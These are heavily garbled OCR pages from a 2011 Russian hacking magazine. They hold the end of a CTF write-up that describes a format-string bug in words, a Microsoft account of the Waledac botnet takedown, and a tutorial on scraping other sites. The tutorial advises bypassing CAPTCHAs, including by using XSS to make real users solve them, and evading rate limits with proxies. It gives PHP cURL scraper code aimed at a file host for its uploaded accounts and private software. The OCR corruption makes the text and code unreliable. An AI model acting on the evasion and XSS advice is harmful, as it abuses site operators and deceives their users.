Уязвимость: Через castle можно передать программу, которая бы считывала ключи и отправляла их нам, а заодно и переза писывала бы

ключи у соперника. Однако не все так просто . К сожалению, fopen не интерпретировался должным образом и пришлось искать обходные

варианты.

Ход решения: Fореп исnользовать нельзя, зато отлично работает

fpгintf, в которую в качестве параметров можно передать уязвимую

форматную строку и заодно эксплоит.

Сервис: Sheepsteг

Порт: 5775

Функциональность: При соединении читает данные из сокетаи

сравнивает с указанными значениями. Если сравнения прошли усnешно,

то просит ввести имя и приветствует: <<Welcome to the ddtek Ьlog» .

Само по себе приложение представляет собой упрощенный аналог

блага, в котором можно добавлять и nросматривать записи .

Уязвимость: Перваяпроверка введенных данных проходит со строкой

<< zzyzxrd». Если она прошла успешно, то выставляется флаг [flagl, при котором в дальнейшем в программе вместо fputs используется fpгintf с уязвимой форматной строкой. Втораяпроверка со строкой <<х' lХРРТН@8»

после применения несложного кодирования [входная строка должна быть <<xevgdirkhe»J, при усnешности флаг сбрасывается и используется fputs . Если ни та , ни другая проверки не прошли, соединение

обрывается. Собственно, нам нужно было пройти именно первую

проверку и проэксплуатировать уязвимую форматную строку.

Ход решения: В то время как одна часть команды ночью пыхтела

над hiveг' ом, вторая часть исследовала дампы трафика и искала

успешные атаки на наши сервисы. Ребята поработали очень хорошо,

объединив уже имеющиеся знания о сервисе, с <<успешными» атаками,

проведенными нашими конкурентами на нас, и получили нужный

эксплоит. <<Успешными» в кавычках, потому что конкуренты все равно не

получили наших флагов- сработала наша тактика защиты. Стратегия

под названием <<атакуй меня, чтобы я атаковал тебя » .

057

Page 57: Хакер №10 (октябрь 2011)

~акз Ботнеты В последнее время о ботнетах в рунете го­

ворят очень много. В основном это связано с

ООоS-атаками на известные и посещаемые

ресурсы. Однако первые прототипы современ­

ных ботнетов были обнаружены еще в 1999 году.

"' "1 ,, 1

'1 '1 1

1

1

1

1 1

' '

' ....

-.. Вз.nо ищик

Фt~wинг

AT<IIC.ИMa сераеры

Поnытки заражения новых комnьютеров fмодов\

Схема использования ботнета

058

в а ют

ОПЫТ КРУПНЫХ КОМПАНИЙ БОРЬБЫ С КИБЕРПРЕСТУПНОСТЬЮ

ЧТО ТАКОЕ БОТНЕТ? Ботнетпредставляетсобойсовокупностьсистем,зараженных

вредоносным кодом и у правляемых централизованно . Причем устро­

ен он таким образом, что уничтоже ние или отключение достаточно

большого количества узлов не должно влиять на его работоспособ­

ность в целом. Ботнеты могут использоваться для та ких цел ей, как

рассылка спама, фишинг, DDoS, атаки на другие системы, заражение н овых ПК и превращение их в узлы ботнета. Стоит отметить, что в

данный момент индустрия киберпреступности довольно сильно

сегментирована по специализации и направленности пре ступле ний .

Это означает, что каждый занимается своим делом. В результате

получается, что создатель Ботнета прода е т ресурсы или услуги

Ботнета другим злоумы шлен никам , с пециализирующимся на т ех или

иных видах преступлений [типовую бизнес-структуру ты можешь

по смотреть на иллюстрации). Стоит отметить, что интерфейс управ­

ления ботнетом довольно прост. С ним можетсправиться человек,

обладающий даже очень низкой квалификацией. В соответствии с

облачными веяниями, в посл еднее время появила сьуслуга Malwaгe

as а Seгvice. Если кто-то не может создать и распространять свой зловредный код, всегда найдется более опытный провайдер та ких

услуг, способный сделать это за определенные де ньги. Впрочем,

создать ботнет сегодня тоже не бог весть какая сложная задача. На

рынке есть множество готовых наборовдля изготовления ботне-

та, таки х как Zbot [Zeus), Spyeye, Maгiposa, Black Епегg у, ButteгFiy,

Reptile. Это означает, что современ ны е владельцы ботнетов могут

ХАКЕР 10 /153/2011

Page 58: Хакер №10 (октябрь 2011)

даже не обладать какими-либо особыми технологическими навы­

ками . Впрочем, если говорить о крупных ботнетах, то их создатели­

это, безусловно, способные, талантливые люди, бороться с которыми

довольно сложно. В рамках этого материала я хотел бы рассказать о

практиках, которые используются большими компаниями для борьбы

с киберпреступностью и, в частности, ботнетами. Речь, в частности,

пойдет об активности компании Microsoft, в которой я м работаю.

MICROSOFTVS. БОТНЕТ Возможно, это и заставит кого-то улыбнуться, но в Microsoft в по­следние нескольколетнаблюдается серьезная работа по повышению

безопасности продуктов и сервисов . Появились и стали применяться

методологии разработки безопасного кода SDL, что ключевым образом повлиялонаколичествонайденныхзапоследнеевремяуязвимостей

[особенно тех, которые можно эксплуатировать). Но речьсегодня пой­

дет не о превентивных мерах, которые могут предотвратить будущие

угрозы, а о борьбе с проблема ми, которые актуальны сегодня. Большое

количество зараженных машин -как разтакая проблема.

Внутри компании был создан целый ряд подразделений по борьбе с

киберпреступлениями. Последние носят разные имена- Digital Crime Unit, Microsoft Security Response Center, Microsoft Malware Protection Center,Trustworth Computing, -но задачи каждоготак или иначе пересекаютсясnроблемойкиберnрестуnности.Вместесправоохрани­

тельными органами и исследовательскими организациями Microsoft

Спаиеры

Заражение новых машин

С&С-сервер

Закрытие ботнетов резко сократило количество мирового спама

ХАКЕР 10 / 153/2011

Рассыnка сnама

крупнейших ботнетов. Звучитгром ко?

11\/l•..,.•тn."'~'""' такие ботнеты, как:

ii80%мировогоспама.

служил инструментом для финансовых пре­

принесшихболее$100млнубытков. w,.,.,.n,.r.боты которого отправляли 1,5 млрд спам-сообщений жедневно. В процесс е его исследования было найдено пол­

миллиона nа ролей от почтовых ящиков пользователей и FТР ­

серверов.

ИЕПРАКТИКИ Длятого чтобы nонять типовые способы уничтожения ботнета, надо

разобраться с его архитектурой и слабыми местами. Чаще всегодля

управленияботнетомиспользуетсяодинилинесколькокомандных

[часто центральных) серверов, называемых Command & Control, или С&С.Онивзаимодействуютсконечнымиузламиботнетаnоразным

nротоколам.Наиболеечастовкачествеnротоколауnравленияис­

nользуетсяiRС.Впрочем,впоследнеевремярезкоувеличилосьпри­

менение Р2Р-протоколов как более устойчивой, хотя и технологически

сложной альтернативы. Интересной экзотикой в последнее время

сталоиспользованиедляуправленияботнетафайлообменныхсетей

и передача управляющих команд в теле фотографий, публикуемы х на

Facebook. Так или иначе, для борьбы с ботнетом можно предпринять несколько конкретных дей ствий :

Судебное решение nо ­зволило приостановить

действиедоме нов , ис­

nользуемых ботнетом

С&С-сервер

059

Page 59: Хакер №10 (октябрь 2011)

взлом

Захватить или вывести из строя С& С-узлы .

DDoS на С&С-узлы.

Жалобы провайдеру, где хостятся С&С-узлы.

Захват DNS-имен, используемых С&С.

БлокированиеiРадресов.

Арествладельцаботнета.

Судебный иск.

К сожалению, не все из этих способов эффективны, а некоторые и

вовсе незаконны . Междутем некоторые из них нам успешно удалось

применить. Так, Ботнеты Rustock и Coгeflood были уничтожены доволь­

но тривиально. Это удалось сделать с помощю захвата С& С-серверов

правоохранительными органами по решению суда. Затем правитель­

ство СШАдало правоохранительным органам разрешение с помощью

командного интерфейса ботнет а послать командуудаления кода

малвари с зараженных машин. Работа по закрытию другого ботнета­

Wаlеdас-оказалась еще более интересной, и на этом моменте я хотел

бы остановиться подробнее .

WALEDAC: УСТРОЙСТВО Сложность борьбы с Waledac заключалась в децентрализованной схе­

ме работы ботнета. Для его работы было зарезервировано ни много ни

мало 277 дом.енных имен. Это значит, что захватывать сервера нужно

было одновременно у разных провайдеров хостинга. Кроме того , для

управления ботнетом успешно использовался Р2Р-механизм. Если

посмотреть на схему ботнета , то сразу бросается в глаза много слой­

ность управляющих серверов. В процессе заражения системы с по­

мощью Waledac зловредный код определяет, какую роль будет выпол­

нять новый узел. Он становится либо простым узлом, рассылающим

с па м, если находится за NAT и не принимает входящие соединения на

80 й порт, либо узлом, который повторяет !ретранслирует! команды из

центра , -то есть своего рода репитером. Репитеры используются для

управления ботнетом. Каждый репитер кроме передачи управляю­

щих команд узлам-спамерам поддерживаеттакже список «соседей>>,

состоящий из 100узлов, также выполняющих роль ретранслятора,

к которым он может подключиться по Р2Р протоколу. Со временем

любой узел-повторитель регистрирует свое доменное имя в fast flux

DNS. Это делается для того, чтобы дать возможность обращаться к

Fast Flux DNS-cepвep

Главный С& С-сервер

tt

Промежуточный

контроллер

/ . ITSLI

Fast Flux DNS-i:epeep

.... Ко~мдw

-. в.._~•·

... Tpo~ф.м.naiJJOPimlll8il

... Fast Flux· DNS

... Сn;r,м-~•к

/ nовтормте.nь Повторитель'

Уэеп-спамер

Многослойная архитектурауправлен и я Wa ledac

060

НЕ ТАКИЕ, КАК ВСЕ

Опрометчиво считать, что Ботнеты состояттолько из Windows -машин .

Естьботнеты и на Linux/Unix-PsybOt, Chuck Noггis, насчитывающие сот­

нитысяч устройств. В основномтакие Ботнеты создаются из домашних

маршрутизаторов, коммутаторов и NAS нижнего ценового диапазона.

Уничтожитьтакой ботнеткрайне трудно, таккакдомашний пользователь

в большинстве случаев не обладаетзнаниями в Linux и навыками обнов­

ления прошивки устройства. Производитель устройства заинтересован в

быстром устареванииустройства и часто не только не намеренустранять

недостатки,ноинеимеетмеханизмовцентрализованногообновления

своих продуктов. Поданным исследования от2009 года, в интернете в

любой момент можно найти несколько миллионовдомашнихустройств с

устаревшимиnрошивкамиипаролямипоумолчанию.

cnм:co~t. .. coce,ael,. ш.а.о~~ходо.ь:.Ш.о

O.c;.IO.O.O.d;JO.O.O.e; li O.O.O.J:1Q.O.O.c;.10.0.0 .h:IOO.OH;J,O.O.();joJ:OI O.O.k;lO.O Ck~JO!O.O.m

.IO.O.«U;J:O.O. O..o; .Ш.

O.O'.p~O.O:OIIU}O.O.O.I

; .IO.O..O'...t:JO.O.йt

~ ... Зараженныйуэел - ~aledac (nоеторитеnьl

CnмcoK .. COCiдeiJoo

~1- 168.;t.a;J,2. 1bl.ll.b

t'l..lA..u,J!l.lA.x.d: ~,2'. 1il'.. .... ,1,:l. lbl.!i.t l92. 161.s..&:191.1"'--.llt 192'.16&.&.t-xgl.161.1.f; 192: 1М...IIr; l!2.161..-.t

l,l.J6a.amrJ92. f6LLA: JЭ~ 168lJI..o~1.16Ь-o~

1'9l. J68:.a-4, 1Эl .J61,a_r.

1911~;.192.168..a.l

Каждый репитер поддерживает список «соседей»

Сnмсок «сОСе,ааА,.

IOO:O.;,:IO.O.O.b;IO.Ol 0.~10.0.0 d:I.O.O,O.r,JI o.o.o.~to..o.o..,;1o.o. o

.h:IO.O.O.I:.IO.O.CNf:_lOt О' O.II.;JO.O.O.I;lO.O.O.'"' ;IOO.G..n;JO.O.O.O".JOJ ctO.r.JO.O.O.q.: 10.0.0..

;ro:o.o.s.:1o.o.a.r Зараженный уэеn

Waledac (nовторитель)

Cnмco lt .,COCeЩI.I'•

1-'l.l&&Jr.~;Ul'. IA.-..Ь.

1.91..168Jr.r..lt1.16&.л.d ,

~-~~;Ul. IЫ.....I;

192'. 16&ц:;l!l.~

192.1А.ЦJ92 1:61.-.;.

'--

1,2, 1~192.161 ... 1, 19l. 161.1 ."".1'l. l~n:. L!2. 16&JI.o;J,H6Lo..rr. 14}.1_161.x.-r.U1.16t.J...f: 191'.1 ......... 1,l. l&a...l

Зараженный узел Waledac (nовторитель)

ЗараженныМ узел Waledat:

Подключение серверов Microsoft к Waledac

Сервер Microscft

ХАКЕР 10 /153/2011

Page 60: Хакер №10 (октябрь 2011)

Реrмстрацмя в DNS

.СОМ DNS-cepвep

Регистрация дом е н но г о и мен и

(J Зараженный узел

Waledac tnоеторитеnь}

Сnмсок «eoceд[email protected]*

O.O.O..a;.lOtO.O.Ь;tD.D

l.<;:;lO.OJO.d~·10.0IO.e;1

I :O.O.f;l.OJ0.:0&;10.0:0 .h;10,0:0.t;J.0.0.0.j;:t·o. O.CJ~.10.0iCЦ"1DJO.Om'1

,;t0.0.0.n;1040.o;4.0. O.O,p;i1011U1Jq;I0.0.01

Заражениый узел Waledac (n овторитель)

.:10AD.t.::1D.D.O.t

себе узлам-спамерам, если ближайший к ним репитер вдруг выйдет

из строя и станет недоступен. Таким образом узлы ботнетавсегда

могут найти ближайший узел-ретранслятор и получать от него

команды и обновления исполняемого кода . Со временем роли узлов

могут меняться. Е сли система, используемая как ретранслятор , к

примеру, попадает в корпоративную сеть и лишается возможности

принимать подключения на 80-й порт, то она автоматически полу­

чает роль с па мера. При этомпроанализировать топологию ботнета

не так п роста, потому как еще одной задачей репитера является

противодействие исследованиютопологии ботнета. Он служит

своеобразным прокси и не позволяетузлам-спамерам знать что­

либо об у правляющих узлах С&С.

WALEDAC: УНИЧТОЖЕНИЯ Проанализировав архитектуру ботнета, мы проработали план для

атаки на ботнет со следующими конкретными шагами :

1. Наруш ен ие р2р-механизма обмена управляющими командами.

2. Нарушение обмена DNS/НТТР-командами .

3. Нарушение работы двух верхних слоев С&С-серверов .

Первым делом нужно было прервать работу Р2Р-механизма . В

связи с тем, что функция нахождения ближайшего ретранслятора

внутри ботнет а ра ботала нестаб ильно , была возможна ситуация, что

узлу приходилось перебрать до 20 адресов, на ходящихся в е го с писке

«соседей >>, чтобы найти работающий соседний репитер . Благодаря

этому нам удалось создать поддельные репитеры, включить и х в со­

став ботнета и начать распространять фальшивые обновления списка

репитеров, тем самым нарушив связность системы управления Р2Р.

Этопозволилопередаватькомандыузлам-спамерамотспециально

созданных командных серверов Mi crosoft.

В случае неработоспособности Р2Р-механизма узлы ботнет а

начинают искатьдруг друга с помощью механизма fast flux DNS.

Поэтому необходимо было разрушить и этотспособ управления, чтобы

злоумышленник не мог восстановить контроль над ботнетом. Это

интересный момент, потомучто здесь мы использовали юридический

механизм. Типичная процедура отзыва DNS имени через ICANN с по­

мощью процедуры со страшным названием « Uпiform Domaiп-Name

Dispute-Resolutioп Policy>> можетзанятьдовольно много времени . Это

позволило бы злоумышленникам успеть осознать, что и х атакуют,

и предпринять меры по регистрации новых DNS-имен, на которые

позжеперевестиуправлениеботнетом . Поэтомувместостандартной

ХАКЕР 1 О /153/2011

Как закрывают ботнеты

Стандартный nодход к уnравлению ботнетом

процедуры ICANN мы воепользавались процедурой TRO ltemporary

restraiпiпg огdег]- возможностью временно приостанавливатьдей­

ствие доменов на 28 дней . На этом этапе еще одной сложностью было

то, что часть DNS-имен была зарегистрирована натерритарии Китая и

Нидерландов . Поводом для судебного иска было нарушениеторговой

марки Microsoft и Pfizer. Ботнет активно рассылал письма с уведом ­

лениями о выигрышевнесуществующей лотерее Microsoft и рекламу

поддельныхлекарств под маркой Pfizer.

Для того чтобы злоумышленники могли побороться с Micro soft в

суде, ежели у них появится желание заявить свои права на бот н ет, н а

сайте было опубликовано исковое заявление. Также в националь­

ны х газетах на территории стран, откуда подозреваемые управляли

ботнетом, были опубликованы уведомления о вызо в е в суд. Как и

предполагало с ь, никто не посмел явиться в суд и заявить о своих

права х на ботнет. Таким об разом Mic rosoft выиграл суд на территории

США , Китая и Нидерла ндов. Подробнее о юридическихтонкостях и

перипетиях борьбы за ботнет можно почитать в специальном разделе

сайта Microsoft I Ьit. l y/riDUDA ] .

В результате эти х юридическихдействий права на DNS п ерешли

к Microsoft. На данный м оме нт DNS-имена подключены к серверам

Microsoft. В сл у ч ае, если к этим се рверам подключается зараженный

узел из ботнета, на него подается команда, приказывающая боту

бездействовать. К сожалению, Microsoft не имеет права удалить

вредоносный код бота Waledac, поэтому мы связываемся с провай­

дерами, через котор ы х пользователь подклю чен к Сети и просим их

помо чь пользователю избавиться от вр едоносно го кода с п о мощью

бес платных утилит, таких как Microsoft Secur it y E sse пtia l и Malicious

Software Removal To ol .

АКЛЮЧЕНИ Мы надеемся та ки м образом посте п е нн о очиститьинтернетот по­

с ледни х остатков ботнет а Waldac. Чтобы з л оумышлен никам было

неповадно в дальнейшем создавать ботнеты, Microso ft в сотрудни­

честве с прав оохра нительн ыми органами продолжает расследо­

вани е и сбо р доказат ель ств . С этой ц елью мы пр едложили награду

в $250 000 тому, кто сообщит сведения, с пособствующие аресту

пре с т у пной гр уппы , стоявш ей за Ru sto ck I Ьit. l y/oR7x88 ] . По на­

шему опыт у, такой подход может с работать. В заве ршение хочется

сказать, что Microsoft и в дальнейшем намерен активно бороться

с киберпреступлениями, преследуя злоумышленников всем и до­

ступными ему способами. :Х:

061

Page 61: Хакер №10 (октябрь 2011)

ИНГ

qbz [caydlayandex. rul

blt.lv/qV15Z8-мaнyaл по настройкам

cURL.

blЦy/oMBmcW-плаrин

LiveHПPHeadersдnя Mozilla Firefox'a.

ДОБЫВАЕМ ЦЕННУЮ ИНФОРМАЦИЮ С ЧУЖИХ САЙТОВ

Автоматический сбор информа­

ции с чужих сайтов в больших

объемах-задача простая толь­

ко на первый взгляд . Сегодня я

поделюсь с тобой конкретным

опытом по созданию грабберов

для удаленных ресурсов на при­

мере всем известных сервисов

mamba.гu и slil.гu .

"- m--<acr1p~ c;~··~ext/javaacr1pt"> v • r l l ~:.P' /'e '7 S!II81/ ' "'' 2Jrt ld!>ld . 4e2~a9211/Ь.c.lnlarcl . ' РО' 1

</ ae-r :~.pt > <t.Ьla Miq!'!t• "100'" w1clt!'l• "l00'" 111- ~r:c;i"> <tr ha1qht•"2S"Xtd></t4></~:r> <tr><tl1 ha1Qht• "100" ali;n• "center• valЦ~:.• "alcSdla">

<P>Cnt.o:м6o асен, кто nots::o "aaт paJaи8&':t. расурс . </р> </td></CI"> <tr><td v&11qD• "ru.dCI.la"> <р aliqll.• '"cantar"> Ь•сЬа rcl . j iJ9' nD8P 1 'nЬaps 'сЬарs 8!>4!1 <Ь:к:><Ь:::> </р> <р &11qn•"oencax">

1 1

На наwем дискеты найдешь видео, под­робноописывающее

процесспарсии га

сервиса slil.ru.

Такженадиск мы

заботливо выложили все необходимые скрипты и при меры .

НТМL-код, который мы поnучаем со slil.ru

~ака<tка taA.IIa ма .. наrс~r <t81"'11 10 саку11J1, кт.и aocn0JIIIa)'Й78Cio <8:1=&11 :Ld.• ~link_pllc:e"></.tpan><l:lr>

<• hж•t•"/pa;•IU.u.t•7id. '" 3l4~!jj8l">noaaJ1:oa•т•c:• 111 фаА/1 .</а>

v•r H nk- ' / S81.5e jje l/211:t6d.5l d.. i •2b•i2*' t or.,.rd . pn; • J do.cшмtnt . g•tt:liC8Dt !lyicl(' l~ nll:_plac:e • 1 . ~::nerHIИI.•' <• h:•t•" ' .. l lnk ... . " o nc:l:l. c:k-"dl_fl•O">c:aФKQЙ</ a>';

l l t 1'1- 0Ut ( t U:IC:t:I.011() ( 1!(41 f l •• l) cloc:шЙnt . l oc:atlon . l'::lt'• l l nkJ ) , ЫIОО) ;

</ •c::l.pt>

</Р>

<tЖ>

<tcl>,nЬ•p J </td.> <tcl wiclth• "i00"> </td.> <td>,nbiPt </td> </tr>

062

...

редположим,переднамистоитзадачапроанализировать

миллион страниц одного сайта и собрать с них какую-то

ко н кретную информацию : выдрать ссылки, телефоны, имена

и так дале е. Вроде как затея очень простая и решается несложным

с криптам , который будетходить по сайту, анализировать контент и вы ­

дирать оттуда нужные данные.

Однако на деле в сё не так nро сто : любые сервисы не заинтере сова­

ны в том, чтобы с и х системами работали боты . Никто не хочет, чтобы у

него воровали информацию, загружали сервераненужным трафиком

и полностью игнорировали рекламу. Поэтому все крупны е сервисы

активноборютсясботами,испольэуяразнообразные технологии :

САРТСНА;

авторизацию lcookie, сессии !;

сертификаты;

JаvаSсгiрt-защиту ;

лимит соединений;

генерацию ключей доступа чере з flash; другие, более изощренные способы защиты .

Впрочем , в с е используемые технологии- это не полное решение

проблемы, а всеголишь усложнение процедуры: обойти при граббинге

можно абсолютно всё.

ПРАКТИКА Как говорится, лучше один раз увидеть, чем сто раз услыш ать. П оэтому

приступим к практической ча сти , в которой мы на п и ш ем простой пар­

сер для удобного Файлаобменника slil . гu .

Выбор пал на него , так как ни каки х особых защит веб-сервер этого

ре сур с а н е ставит, а сам он содержит много интересной информации ,

такой как загруженные аккаунты, приватный софти другие интересно ­

сти . Рассмотрим ин струментарий , который мы будем использовать от

начала написания бота и до первых полученных результатов:

Браузер.

РНР.

cURL. Плагин Li vе НТТРНеаdегsдля Mozil la F i гefox .

ХАКЕР 10 / 153/2011

Page 62: Хакер №10 (октябрь 2011)

Больше нам ничего не потребуется, кроме головы на плечах и удоб­

ного текстово го редактора. Для начала давай определимся, что же мы

будем парсить . П арсить будем название файла, его разм ер и ссылку для

скачива ния . Вся эта информация содержится в НТМL-сорцах страницы

скачи вания загруженного файла.

Теперь рассмотрим способы получения кода той самой страницы .

Их также несколько:

1. Стандартная функция file_get_coпtents[). Требует включенную

РНР -директиву allow_uгl_fopen . Включить ее можно через

. htaccess-фaйл настройки сервера Apache [php_flag allow_uгl_ fopen on). Здесьтакже следует у помянуть, что в пятой версии

всеми любимого РНР стало возможным создавать определенные

настройки для НТТР-за проса . Это реализуется примернота к :

_$_~e'tt:Шg~=.. a.c.r;;J~(.'J:tj;j;p_:_~y_(' method' => 'GET', 'heade_r ' => ____::_u_ser_::Ageдt; [ЮЗЕРАГЕНТ)',[.Iш_," ·-----

"Accept : text /xml, application/xml,application/ xhtml+xml;q=0. 5\ r \ n" .

"Accept-Language: en-us,en;q=0.5\ r \ n". "Accept-Encoding: gzip,Q_eflat e\r \ n". "Accept:_cha rset;J$0-!182~bl, utf:.S; q=0. 7,:"; q=0. 7_':)); __ _

$settings = str.eam_context_create($settings); __ _ $html = file_get_contents(' http://url.tld/' , NULL, $settings);

2. Со кеты [fsockopen[) и другие функции, которые мы рассматривать не будем).

3. cURL.

Парсингпо-крупному

r I! Vt_' 111 1 р lн·.нJ('f-. GJLQj~

ttaders Gmtrator Config AЬout

Accept: iniQt{png, ·r;Q -o.s АссерН~: en'US,ei.;q-o.s A~t-Enc.odino: gztp,deflatt ~t<har~t: IS0-88S9·1,utf-8;q.O. 7, •;q-o. 7 ........... ,))!)

с., ... ,.,.,"._...,. Refe<"' ht1;>"1/www.i<q.<Om-.ЬO•fenldeot""t1p'/fwww .i<q.<Om/

Н1ТР/1 .х 200 ОК O.,tt: Fn, Z2 )J 201121:56:00GМf

Content-Length: 35 Pragrм: no<ac:he fxs*es: \Yed, 19 Apt 2000 11:43:00 GМТ last-мodifled: Wed, 21 kn 2001 19:51:30 GМТ

eontont'''"" "'-IФ ~<ontJol: prtvatt, no-acht, no~·~t<ocЖie, proxy<f~.11dote

Server: GFf/2.0

Плаrин LiveHПPHeaders

Идеальная вещьдля работы с удаленны ми серверами. Это как

швейцарский нождля соста вления запросов на сервер. Всё продумано

до мелочей и обернуто в интуитивно понятную среду разработки. На

курле мы и остановимся, так как только он может предоставить нам

многопоточность работы и требуемую быстроту [в среднем cURL в четыре раза быстрее file_get_contents).

КАК СЕРВИСЫ ЗАЩИЩАЮТСЯ ОТ ГРАББИНГА, И КАК ЭТО ОБХОДЯТ

САРТСНА

Существуют no крайней меретрисnособа для

обхода всем надоевших картинок с

мутными цифрами/буквами .

Скриnтнаосновенейросетии

други х алгоритмов. Эффектив­

ность способаможет сильно

меняться, в случаекачественной

капчи эффективностьавтомати ­

ческогорасnознавания оnустится

ниже5 %.

Сервисы ручного ра с nознава-

ния ка nчей с удобным АРiдля

автоматической работы . Здесь

картинки разгадывают реальные

люди в онлайн-режим е, nоэтому

эффективностьсnособаочень

высокая : до 90%. Единственный минус--заисnользованиеэтих

сервисовнужноплатитьденьги.

Исnользование ХSS-уязвимостей

дляnодсовываниякаnчейреаль­

ным nользователям. При nомощи

ХSSнауязвимомсервисеможно

разместитьспециальный скрип~

который будетблокировать

интерфейс и nредлагать nользо­

вателю распознавать каnчу.Люди

сейчаснауровнерефлексагото­

вы к такой ситуации и с удоволь­

ствиемраспознаютподдельные

картинки, не чуя подвоха.

ХАКЕР 10 / 153/ 2011

Авторизация

Очень часто бываеттак, что

необходимаяи нформация

достуnнатолько длязарегистриро­

ванны х польэователейоnределен -

н ого ресурса. Она можетнаходиться в

какой-либозакрытой частисайтаили

же скрываться nодтак называемым

хайдом на форуме. Также во многих

случаяхдля регистрации тебе может

nонадобитьсясnециальноеnригла­

шение -- и нва йт от уже состоявшихся

членов сайта. Только nосле nро­

хождения nроцесса регистрации на

ресурсе ты сможешьполучитьдостуn

к нужному разделу. Данная защита

не nредставляетбольшой трудности

в обходе, скорее, нем ного замедляет

работу нашего бота, и то далеко не

всегда . Если мы хотим проводить

множестводействий на нужном сайте

из-nод одного авторизован ног о а к ка­

унта , то нам следуетсоставитьодин

доnолнительный заnрос к серверу в

самом начале работы бота . Данный

запрос необходим для получения ав­

торизационных кукисов. Чаще всего

это именно сооkiе-заnиси, и ничего

более . После n олучения nеченек от

сервера nоследующие заnросы будут

nроисходить сих исnользованием,

чем мы и обходимданную защиту.

Сертификаты и

JаvаSсгiрt-эащиты

Ресурс, с которого ты

хочешь грабить ин фу, может работать

через SSL, и в этом случае, если не­обходимы й сертификатутебя есть, не

составляетбольшоготруда научить

скриnтис п ользовать этот сертиф и кат.

Для РНРя могуnосоветоватьзаме­

чательнуюбиблиотекусURL, которая

отлично реализует все задачи, свя­

занные с сетевым взаимодействием.

Что касается JаvаSсгiрt-защит, то

они чаще всегоориентированы на

шифрование исходного кода [читай

статью <<JavaScгipt : Игры в nрятки»

из прошлого номера) или на nроверку

сnециальныхjs-nеременных , которые

доказывают, что страни ца загружена

реальным браузе ром, а не ботом.

Обходятся эти методы элементарным

анализом НТМL-кода стра ницы . Такой

анализ ты легко сможешь выnол -

нить с nомощью инструмента О ре га

DгagonFiyв <<О пере>> или nлагинадля

<<Лисы» LiveHTTPHeadeгs. Обе этих

тул зы nомогуттебе nонять, какие же

POST-, GET- и СООКIЕ-переменные твой браузер посылаетудален ному

ресурсу. Затем ты сможешь вставить

эти переменные в кодсвоего бота.

Лимитсоединений

Для защиты от граббинга

грамотные админи­

страторы ставятограничения на

ско ро стьзакачиваниястрани-

цы пользователем, а также на

количество соединений и частоту

активности. Понятно , что ни один

нормальныйпользовательнерабо­

таетссайтомнесколькочасовпод­

ряд,выкачивая5000страницвчас.

Поэтом у, анализируя активность

клиентов, умные системы и CMS могут выявлятьлевыхпользовате­

лей и ограничивать их работу. В то

же время администраторы не могут

действоватьвлоб:ведьпододним

IР-адресом вnолне могут сидеть

сразусотни человек .

Что же делать, если нам нужно

заоднуминутуполучить1000

стра ниц, а сервер не реагируетуже

nосле 20 -й страницы? Исnользо­

вать socks- и ргоху-сервера . В этом

случае работа бота будет происхо­

дить не с одного IР-адреса, а напри­

мер, со 100 IР -адресов. Тем самым,

ум ножив 100 на 20, мы nолучим 2000 заn ро сов, на которые сервер точно

должен ответить.

063

Page 63: Хакер №10 (октябрь 2011)

взлом

Готовый парсер slil.ru

Прежде чем написать п ер вые строчки на cUR L, давай проанали­зируем, как браузер получает страницу. Ведь нам нужно замаски­

роваться именно под браузер. Для этого откроем Mozilla Fiгefox и запустим плагин LiveHTTPHeadeгs. Теперь перейдем по тестовому

адресу s l i l . г u/3 1 4 0 2 49 1 и посмотрим в окно плагина. Там будет много

логов, из которых нас интересуеттолько самый первый запрос.

Вот как он может выглядеть:

GET /314е2491 НТТР/1.1 Host: slil. ru User-Ageпt: [ЮlЕРАГЕНТ]1 __________ -----

Accept: textLxml,QpplicatioпLxml,applicatioпLxhtml+xml;g~ As; с ept- L<miO-l<!Ш!_;_gл- u s_, eп;_g:;.!l.5 Accept-Eпcodiпg : gzip,deflat_e Accept-Charset : IS0-8859-1,utf-8;q=e. 7, * ;q=e. 7 Keep-Alive: зее Соппесtiоп: keep~aliv",e ___ _

Если данный запрос возвращает нужную нам страницу, значит,

его мы и будем использовать в качестве маскировки.

СОСТАВЛЕНИЕЗАПРОС Теперьдавай напишем простенький скрипт для получения страницы

с файлообменника:

3 СЕРВИСАДЛЯ РАСПОЗНАВАНИЯ КАПЧИ

Использованиеонлайн­

сервисов дляраспознава ния

капчиоченьпопулярновсерьезных

проектах, часто основанных на

получении выгоды оттого или иного

действия. И действительно, зачем

программиступисатьнейросетии

сидеть бессоными ночами за кодом,

когда можно просто заплатить один

зеленый бакс за целуютысячу раз­

гаданныхкапч.Давайрассмотрим

три самых известных и популярных

антикапчевых ресурса:

1 <<Антигейт»

[aпtigate .coml-oдин из

самых первых и, безусловно, самых

популярных сервисов . Здесьтебе

с удовольствием помогутрасшиф­

ровать русские и английские капчи

форматовJРG, GIF и PNG. Цена за такоеудовольствиеотносительно

невысока-1 долл . за 1000 изобра­жений. Качествотоже на уровне-не

более 10% ошибок, а также возмож­ность вывести деньги обратно, в

случае если тебя что-то не устроит.

2

$_curl = curl_init(); $head = array{ ____________________ _ __'_tlost: slil . ru', _____ _

'User-Agent: (ЮЗЕРАГЕНТ] ', 'Accept: text/xml,application/xml,application/xhtml+xml;q=e.s·, 'Accept-Language: en-us,en;q=e.s·, 'Accept-Encoding: gzip,deflate', 'Accept-Charset : IS0-8859-1,utf-8;q=e.7,! ;q=-e"_,.'-'-7__,' ~-

__:_кeep-Alive : Зее·, _________________ _ 'Connection: keep-alive' __ _

); 11 шапка, которую мы получили через LiveHПPHeaders в виде массива

curl_setop:t($curl, CURLOPT_URL, ' http://sli l . ru/ 314e2491' ); curl_setop:t($curl, CURLOPT RETURNTRANSFER. true); ______ _ curl_setop:t($curl,_i:URLOPT HПPHEADER,_$jJead); _____ _ curl_setopt($curl, CURLOPT_ENc;QDING, 'gzip,deflate' );

$out = curl_exec($curl); // создаем соединение curl_close($curl); // закрываем текущее соединение

Всего 17 строк кода , и мы имеем исходный код страницы

s l i l. г u/3140 2491 в переменной $out . Осталось только найти нужные нам данные, с ч ем справится следующий скрипт:

$filedata = explode('<p align="center">', $out); $filedata = explode( '< /p>', $filedata[1]);_ list($filename,_jfilesize) = explode(.'_&nbsp;&пbsp:&nbsp;,--'' ~--­

_trim(strip_:!;_qg~($filedata(e]))); __

$temp_link = explode('var llnk=\", $cResult); $temp_link = explode(' \ '; ', $temp_link[1]); $temp_link = trim(str_replace( "'+"', " , $temp_link[e])); data = arra (' name' -> $filename, 'size' -> $filesize, _____ _

'link' -> $temp_link);, ____ _

Таким образом мы спарсили имя, размер и ссылку файла с одной

страницы.

